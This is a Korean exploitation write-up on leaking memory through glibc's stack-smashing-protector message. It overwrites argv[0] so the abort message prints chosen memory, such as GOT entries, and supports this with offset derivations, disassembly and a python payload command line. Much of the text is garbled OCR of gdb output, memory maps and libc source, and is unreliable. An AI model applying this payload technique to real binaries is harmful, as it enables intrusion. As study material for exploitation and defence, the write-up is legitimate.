Stack smash protector message를 이용한 memory leak
Sanguine@leaveret

릭이 필요한 상황인데, 도저히 릭할 벡터가 없다면? 한번 ssp 메시지를 이용해보자.
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위 그림과 같이 간단한 stack memory corruption 류의 취약점을 가진 프로그램이 있다. 
컴파일 옵션은 –mpreferred-stack-boundary=2를 주었다.
ssp가 설정되어 있으므로, 14를 입력하는 순간 canary가 덮히게 되고 __stack_chk_fail함수가 불려지게 되어 ssp메세지가 출력되고 프로그램은 abort된다.
여기서 재미있는 사실은, ssp메시지의 프로그램명 부분이 argv[0]의 영향을 받는다는 것이다.
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그렇다면 ret에서 argv[0]포인터가 저장된 주소의 offset이 일정하다면, 그 부분을 덮어서 원하는 메모리 값을 읽어 올 수 있을 것이다.
그렇다면 offset이 항상 일정한지, 정확한 값은 어떤지 한번 entry point에서 main함수를 호출하기 이전까지 보자.
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ep는 당연히 _start부터 시작하고, bp를 걸고 실행시켜보면, 
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esp는 argc와 *argv, *envp들이 차례로 스택에 쌓여져 있는 모습을 확인 할 수 있다. 
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이 부분 때문에 정확한 offset을 단정할 수 없다.
__libc_start_main에서는 main함수를 호출하는 코드는 
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이부분으로써, esp-70으로 값이 고정이 되어있는데, esp+0x70에 저장된 값은 
[image: ]
에서 __libc_start_main을 call하기전에 push해준 값이다.
그렇다면, _start의 코드를 한번 보자.
 0x080483a0 <+0>:	xor    ebp,ebp
   0x080483a2 <+2>:	pop    esi           //실행되고 나면 현재 esp가 argv[0]을 가르킴
   0x080483a3 <+3>:	mov    ecx,esp
   0x080483a5 <+5>:	and    esp,0xfffffff0   // esp가 0~15만큼 감소
   0x080483a8 <+8>:	push   eax		//  esp -4
   0x080483a9 <+9>:	push   esp		//esp -4
   0x080483aa <+10>:	push   edx		//esp -4
   0x080483ab <+11>:	push   0x8048560		//esp -4
   0x080483b0 <+16>:	push   0x80484f0		//esp -4
   0x080483b5 <+21>:	push   ecx		//esp -4
   0x080483b6 <+22>:	push   esi		//esp -4
   0x080483b7 <+23>:	push   0x804849d		//esp -4
   0x080483bc <+28>:	call   0x8048390 <__libc_start_main@plt>
 그러면 한번 공식을 세워보자.

&(main’s ret) = &argv[0] – [0x0~0xf] – 0x20 – 0x70 – 4
– [0x0~0xf] – 0x20 은 _start루틴에서 esp가 감소되는 값이다.
– 0x70 – 4은 __libc_start_main에서 esp가 감소되는 값이다. -4는 main이 call되면서 ret이 저장되면서 감소되는 값

이런 공식이 성립되고, 이것을 &argv[0]에 대한 식으로 바꾸면,
&argv[0] = &(main’s ret) + [0x0~0xf] + 0x20 + 0x70 + 4
&argv[0] = &(main’s ret) + [0x0~0xf] + 0x94
가 된다.

내 환경에서는 0x0~0xf가 4로 일정했기 때문에, 한번 테스트를 해보면, 
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다음과 같이 정확이 ret위치부터 argv[0]까지의 위치를 계산해 낼 수 있다.

그럼 한번 got 메모리 릭을 해보자. 
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다음과 같이 파일 명이 나와야 할 부분에 릭이 되는 것을 볼 수 있다.  그리고 이는 리모트 환경이라면 쉽게 읽어 들일 수 있고, 로컬환경이라면 subprocess나 pipe등을 이용해서 처리 할 수 있을 것이다.

간단하게 데몬으로 만들어서 테스트 해 보았다.
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릭이 잘 되는 것을 알 수 있다.

2번째 방법은 __stack_check_fail이 어떻게 argv[0]의 주소를 가져오는지 분석을 해 보았다.

__stack_check_fail은 내부에서 다시 __fortify_fail이란 함수를 호출하고 
__fortify_fail은 libc에 저장된 argv를 사용해서 메시지를 출력한다.

<__stack_check_fail>
 0xb7f212f0 <+0>:	push   ebx
   0xb7f212f1 <+1>:	call   0xb7f4c46b		//ebx 에 0xb7f212f6(call 다음 주소) 를 넣는다.
 0xb7f212f6 <+6>:	add    ebx,0xaed0a		//ebx + 0xaed0a
   0xb7f212fc <+12>:	sub    esp,0x8			
   0xb7f212ff <+15>:	lea    eax,[ebx-0x46e65]		//eax에 “stack smash detect”주소 들어감
   0xb7f21305 <+21>:	call   0xb7f21310 <__fortify_fail>


<__fortify_fail>
 0xb7f21310 <+0>:	push   ebp
   0xb7f21311 <+1>:	mov    ecx,0x5
   0xb7f21316 <+6>:	push   edi
   0xb7f21317 <+7>:	mov    ebp,eax
   0xb7f21319 <+9>:	push   esi
   0xb7f2131a <+10>:	mov    esi,eax
   0xb7f2131c <+12>:	push   ebx
   0xb7f2131d <+13>:	call   0xb7f4c46b		// ebx 에 call 다음 주소를 넣는다.
   0xb7f21322 <+18>:	add    ebx,0xaecde
   0xb7f21328 <+24>:	sub    esp,0x2c
   0xb7f2132b <+27>:	lea    edi,[ebx-0x47e09]
   0xb7f21331 <+33>:	repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0xb7f21333 <+35>:	lea    edi,[ebx-0x46e4d]
   0xb7f21339 <+41>:	seta   al
   0xb7f2133c <+44>:	setb   dl
   0xb7f2133f <+47>:	sub    eax,edx
   0xb7f21341 <+49>:	movsx  eax,al
   0xb7f21344 <+52>:	cmp    eax,0x1
   0xb7f21347 <+55>:	sbb    esi,esi
   0xb7f21349 <+57>:	lea    eax,[ebx-0x48ad7]
   0xb7f2134f <+63>:	add    esi,0x2
   0xb7f21352 <+66>:	mov    DWORD PTR [esp+0x1c],eax
   0xb7f21356 <+70>:	xchg   ax,ax
   0xb7f21358 <+72>:	mov    eax,DWORD PTR [ebx+0x35fc]     //여기서 argv[0]을 가져오는데???뭐야
   0xb7f2135e <+78>:	mov    eax,DWORD PTR [eax]
   0xb7f21360 <+80>:	mov    DWORD PTR [esp+0x8],ebp	// "stack smashing detected" 문자열
   0xb7f21364 <+84>:	mov    DWORD PTR [esp+0x4],edi	//서식문자열 "*** %s ***: %s terminated\n"
   0xb7f21368 <+88>:	mov    DWORD PTR [esp],esi		//첫번째 인자(do_abort)
   0xb7f2136b <+91>:	test   eax,eax
   0xb7f2136d <+93>:	cmove  eax,DWORD PTR [esp+0x1c]
   0xb7f21372 <+98>:	mov    DWORD PTR [esp+0xc],eax	//마지막 인자(argv[0])
   0xb7f21376 <+102>:	call   0xb7e8e700 			// 출력하고 abort시킴
   0xb7f2137b <+107>:	jmp    0xb7f21358 <__fortify_fail+72>


그럼 argv[0]을 가져오는 libc영역의 **argv 는 상대적인 주소로 불려오기 때문에, 어느 루틴에서 그 값을 셋팅하는지 한번 찾아 보았다.

일단 argv[0]을 참조하는 부분에 bp를 걸고 실행시켜보면, 
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값을 가져올 당시 ebx값이 3번째 libc 맵핑 역역의 시작주소임을 알 수 있고, 그 주소에서 0x35fc만큼 떨어진곳에 **argv가 위치함을 알 수 있다.

그럼 이 값은 현재 프로그램에서 셋팅되는 것일까?  한번 entry point에 bp를 걸고 실행시켜 보았다.
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이런, 프로그램 시작과 동시에 셋팅되어진 값이였다.
한번 libc소스에서 확인해보자.
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extern으로 __libc_argv가 선언되어져 있엇고, 이 값이 어디서부터 오는지 찾아보았더니, 
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다음과 같은 startup code에서 init을 해 준다고 한다. 
그럼 프로그램 내에서 저 부분의 위치를 알아낼 방법은 없는 거 같다.
dl_runtime_resolve같은 코드를 분석하면 libc내의 영역을 알아낼 수 있으니 그것과 같이 사용할 수도 있을 것 같다.

http://asm.sourceforge.net/articles/startup.html
startup 부분 찾다가 나온건데, elf가 로딩되기까지의 부분을 잘 보여준다.



3. main함수 이전의 stack frame에서 찌꺼기 활용하기.
[image: ]
main함수 이전의 libc_start_main에서 저런식으로 항상 libc의 base addr가 남더라. 저것을 pop gadget과 add가젯을 활용해서 **__libc_argv의 주소를 구할 수 있을 것 같다.
[bookmark: _GoBack]저 주소는 _libc_start_main에서 내부호출함수 _setjmp가 남기는 값이다.
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0x80483b7 <_start+23>: push  0x804849d
0804830 <_start+28s call  0x8048390 <__libc_start_main@plt>
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root@ubuntu: ~/leaveret? gdb ssp_leak -q
Reading synbols from ssp_leak...(no debugging synbols found)...done
Specel b emain

Breakpoint 1 at 0x804849d
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Starting progran: /root/leaveret/ssp_leak
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SSPD s Dot (ol ibeostart_maine243> nov  DWORD PTR [esp]

SIFD 00000000 (<main>t push  ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[- code-

018048492 <frame_dumny+34> inp 08048410 <register_tn_clones>

0x8048497 <Frane_dunny+33>  nop

08048498 <frame_dumny+d0>: inp 08048410 <resister_tn_cloness
=> 0xB048430 <nain>i  push  ebp

0804849 <nain+i>: nov  ebp,esp

0804840 <nain+3> sub  esp,Oxl

08048423 <nain+6> nov  eax,DWORD PTR [ebprOxc

0x80484a6 <nain+@>: nov  DWORD PTR [ebp-Ox14],eax
-stack-
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root@ubuntu: ~/leaveret¥ objdump -R ssp._leak

ssp_leak File format elf32-i386
DVNANIC RELOCATION RECORDS

OFFSET  TYPE VALUE

0804SFfc R_386_GLOB.OAT  __anon_start
0804200 R_3Z6_JUNP_SLOT  __stack_chk_fai

08042010 R_386_JUNP_SLOT  strepy
08042014 R_386_JUNP_SLOT  puts

08042018 R_386_JUNP_SLOT  __amon_start
0804201c R_386_JUNP_SLOT  __libc_start_main

rooteubuntu: -/ leaveret# ./ssp_leak "$(python -c'print "a"+18+"a"+0x38+"Hx] 4Hxa0Nx04HK08" " )
10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+++ stack smashing detected +++ 7 7 7 terninated

Aborted (core dumped)
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E01 0Ub7783103 ("axs fs +xxi fs terninatediin’)

£GPt 0xb7755150 (“stack smashing detected")

ESPL == 048045050 --> 06268600 (')

EIPL D.07ioi (s_fortify_fail+72>0  nov  eax,DNORD PTR [ebx+0x3sfc])
EFLAGS: 0x213 (CARRY parity ADJUST zero sian trap INTERRUPT direction overflow)

i

0xb7F2134F <__fortify_fail+63 add  esi,Ox2
0xb7F21352 <__fortify_fail+66> mov  DUORD PTR [esp+Oxic],eax
0xb7F21356 <__fortify_fail+70> xchg  ax,ax

=> 0x7F21358 <__fortify_fail+72> mov  eax,DWORD PTR [ebx+0x35Fc]
0xb7F2135e <__fortify_fail+78> mov  eax,DNORD PTR [eax
0xb7F21360 <__fortify_fail+80> mov  DUORD PTR [esp+0x8], ebp
0xb7F21364 <__fortify_fail+ad> mov  DUORD PTR [esp+0xd],ed
0xb7F21368 <__fortify_fail+gs> mov  DUORD PTR [esp],es

00001 --> 048045250 --> 0x62696c00 (')
00041 - 0uE0AEIFD - ORIF
ooosl - 0x0

ooizl
ooisl
o201
00241
oozel

T - Oxlaadas
oxic
007624008 ~-> 0x5876 ('vK')
oxic
0207757525 ("<unknown=")
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oo shell cat /proc/ parep ssp_leak’ /maps

08048000-08048000
0804000-08042000
08042000-0804b000
b7624000-b7e25000
b7625000-b7Fce000
b7Fce000-b7Fd0000
1770000~ 7Fd1 000
b7Fd1000-b7F 4000
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b7FFFO00-b000000
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r--p
rH-p
ro-p
r-xp
r--p
rH-p
r-p
ro-p
r-xp
r-ap
r--p
rH-p
ru-p

00000000
00000000
00001000
00000000
00000000
00129000
001ab000
00000000
00000000
00000000
00000000
0001000
00020000
00000000

fe
fe
fe
00
fe
fe

00

675457
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0
0
0
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0

/root/leaveret/ssp_leak
/root/leaveret/ssp_leak
/root/leaveret/ssp_leak

/1ib/i386-1 inux-anu/1ibc-2,19.50
/1ib/i386-1inux-anu/1ibc-2,19.50
/1ib/i386-1inux-anu/1ibc-2.19.50

[vdso]
71ib/i386-1inux-anu/1d-2.19.50
71ib/i386-1 inux-anu/1d-2.19.50
71ib/i386-1 inux-anu/16-2.19.50
[stack]
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Breakpaint 7, 0x080483c0 in _start ()
T: w/axn Dxb7FOBEFC
0xb7Fd35FC! OxbFFFF7a4 0x00000001 0%00000000 0%00000000
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extern char **__1ibc_argv attribute_hidden;

void

_attribute__ ((noreturn))

__fortify_fail (msg)
const char *msg;

{

/* The Loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** ¥s ***: ¥s terminated\n”,
msg, __libc_argv[@] 2: “<unknown>");

idden_def (_ fortify fail)
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/* These variables are defined and initialized in the startup code. */
extern int _ libc_argc attribute_hidden;
extern char **_1ibc_argy attribute hidden;




image16.png
oo w/B4ws Sesp

OxbFFFFBEC
OxbFFFFEFC
0xbFFFFT0C
Wb FFFT oo

Oxb7es8640
0xb7Fd0000
0xb7e3eass
Oxh7F eccen.

0xb7Fd03CH
0x08048510
000000001
0%00000001

0xb7FFFO00
0x00000000
OxbFFFFTad
OwbFFFFTad

0x0804851b
0x00000000
OxbFFFFTaC
OwhFFFFT44




image1.png
root@ubuntu: -/ leaveret# cat ssp_leak.c
#include <stdio.h>

#include <string.h>

int main(int arac,char saravl])

i
char buf[10];
strepy(buf,aravl1])
puts(buf ).
return 0;
)
rootBubuntu: -/ Isaverstd ./ssp_lsak "§(python -c ‘print "a’+14")
anaaaaaasanaas

+++ stack smashing detected +++i . /ssp_leak terminated
aborted {core dumped)
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root@ubuntu: ~/leaveret? ~/leaveret/ssp_leak "$(python -c "print "a’+14")’

anaaaaaasanaas
+++ stack smashing detected +++i /root/leaveret/ssp_leak terminated

Aborted (core dunped)
rootBUbUNEU: ~/ Isaverstd ~/Isaverst////ssp_lsak "§(python -c ‘print "a"+14")

anaaaaaasanaas
+++ stack smashing detected +++i /root/leaveret////ssp_leak terminated

Aborted (core dunped)
rootBUbUNEU: ~/ Isaverstd ~/Isaverst/./././ssp_lsak "§(python -c ‘print "a"+14")

anaaaaaasanaas
+++ stack smashing detected +++i /root/leaveret/./././ssp_leak terminated

aborted {core dumped)
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root@ubuntu: -/ leaveret# readelf -h ssp_leak

ELF Header
Magic:  7F 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class ELFa2
Data 2°s complenent, little endian
version T (current)
037481 UNIX - Systen ¥
4B1 Version 0
Type EXEC (Executable file)
Hachine Intel 80386
rsinn. fx1
Entry point address 0x80483a0
into file)
Start of section headers 4436 (bytes into file)
Flags 0x0
Size of this header 52 (bytes)
Size of progran headers 32 (bytes)
Nunber of progran headers s
Size of section headers 40 (bytes)
Nunber of section headers a0

Section header string table index: 27
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=> 0x80483a0 <_start>! xor  ebp.ebp

0x8048302 <_starte2> pop  es
0x8048303 <_start+3> nov  ecx,esp
0x80483a5 <_start+5> and  esp,OxFFFFFFFO
0x8048308 <_start+g> push eax
stack
o001 - 0wt
00041 --> . ("/root/leaveret/ssp_leak")
ooosl - 00
00121 -->  ("XDG_SESSION.ID=S")
00i61  -->  ("SHELL=/bin/bash")
00201 -->  (“TERk=xtern")
00241 -->  ("SSH.CLIENT=192.168,139.1 14212 22°)
00281 o -->  ("SSHTTV=/dev/pts/2")
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0xB0483a5 <_start+5>: and  esp,OxFFfffffo
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> Oxb7e3ea?f <__libc_start_main+239>: call DWORD PTR [esp+0x70]





